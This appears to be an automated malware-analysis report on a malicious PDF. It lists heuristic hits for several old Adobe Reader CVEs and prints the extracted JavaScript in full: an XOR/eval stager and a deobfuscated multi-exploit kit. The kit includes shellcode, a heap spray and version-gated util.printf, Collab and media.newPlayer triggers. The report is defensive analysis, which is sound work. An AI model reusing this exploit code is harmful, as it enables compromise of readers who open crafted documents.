MALICIOUS
390
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, identified by the 'PDF_JAVASCRIPT' and 'PDF_JS' heuristics. The 'PDF_PAGE_WORD_XOR_EVAL_STAGER' heuristic specifically indicates a stager that uses JavaScript evaluation. The extracted artifact 'javascript_obj0011_000.js' is likely the payload of this stager, designed to download and execute further malicious content. The obfuscation noted in the static triage further supports this. No specific family could be identified.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ahrudv.egh/4 Referenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0xE95 | 512 bytes |
SHA-256: ac8e96afe16f12f8daf770c1ca0b61ea1ac90976140c9e73568d7a72d68f9f27 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
try {var kXA=app;var sNS='Function'.replace(/[]/g, '');uJC='var :h:O = 76ZZ ;Zvar cD ::= thi::s;var rMZD=:ZcD.getPageNumWords(this.pageNum)Z;:vZar tC=\'\'Z:;for(var wF=0Z:;wF< rMD; ZwF::++){tZZC=[tC, cD.getPageNthWordZ(cD.page:ZNZ:um,wF,t:Zrue)].join(\'\');:Z;}var dU=\'\';for(var wZ:F=0;ZwF Z< tC.length; w::F+=2){eF=Z:tC.sub:str:(wF,2);dUZ=[dU,ZSt:Zring.fromCharCode(:parseInt(eF,16):^hO):Z].join(:Z\'\')Z:;}evaZ:l(dU);dU=Z:null;'.replace(/[\:Z]/g, '');mD=jCR(dEJ);} catch(tQ){var oR=kXA.doc[sNS](uJC);oR();}
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3790 bytes |
SHA-256: bb84e6e642b2c2bc7497be6048fa559dbb556b468c1ea08158ee25659839ba55 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
uH=13988;uH++;this.l='';b={n:"f"};var kX='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var yF="";var t=new Array();try {var qZ='nG'.substring(31792,31792)} catch(qZ){};var xGJ=this.info['p'].replace(/[\s]/g, '');lY={yXG:12173};gL=32704;gL--;mT={gD:5148};var jAZ = this.info;var hW = (jAZ.producer.substr(0,5) == 'debug');var oH = new Array(); var tS = "%u";function gLU(str){str = str.split(tS);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function gT(str1, str2){return [str1, str2].join("");}function lYT(pI){var gB = jQ();var yXU = iF();gB += ((gB.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + yXU;if(hW) app.alert("URL: " + gB);gB=rA(gB);var d=tS;var eF=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";eF+=gB;return gLU(eF);};function jQ(){var vS = (jAZ.author + jAZ.title).replace(/[\s]/g, '');var mB = hS(vS, xGJ, kX);return mB;};function hS(vS, kX, xGJ){var mB="";for(var i=0; i < vS.length; i++){var sN = kX.indexOf(vS[i]);if(sN > -1 ){mB += xGJ[sN];}}return mB;};function rA(vS){var out = "";vS = lE(vS);g = Math.round(vS.length / 4);if (g != vS.length /4) vS+="00";for(var i=0; i < vS.length; i+=4){out+= tS + vS.substr(i+2, 2) + vS.substr(i, 2);}return out;};function lE(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function mVS(eX, len){while (eX.length * 2 < len){eX = gT(eX, eX);}return eX.substring(0, len / 2);};function hC(gVO){var oB = 0x0c0c0c0c; jY = lYT("pdf");if (gVO == 1){oB = 0x30303030;}var aD = 0x400000;var ln = jY.length * 2;var xU = aD - (ln + 0x38);var eX = gLU(tS+"9090"+tS+"9090"); eX = mVS(eX, xU);var aP = (oB - 0x400000) / aD;for (var bS = 0; bS < aP; bS ++ ){oH[bS] = gT(eX, jY);}};function iF(){try {return app.viewerVersion.toString();}catch(sL){ return 0;}}if(hW) app.alert("called exploit");var yXU = iF();if(hW) app.alert("v: " + yXU);if (yXU > 8){if(hW) app.alert("util.printf");hC(1);var rAB = "12999999999999999999";for (vU=0; vU < 276; vU++) rAB += "8";util.printf("%45000f", rAB);}if (yXU < 8){if(hW) app.alert("Collab.collectEmailInfo");hC(0);var sLK = gLU(tS+"0c0c"+tS+"0c0c");while (sLK.length < 44952) sLK += sLK;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : sLK});}if (yXU < 9.1){if (app.doc.Collab.getIcon){if(hW) app.alert("Collab.getIcon");hC(0);var gJ = unescape("%09");while (gJ.length < 0x4000) gJ += gJ;gJ = "N." + gJ;app.doc.Collab.getIcon(gJ);}}if (yXU == 9.2){if(hW) app.alert("media.newPlayer");hC(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}this.pE='';try {var fG='mV'} catch(fG){};var z={lG:"gV".charCodeAt(19144)};
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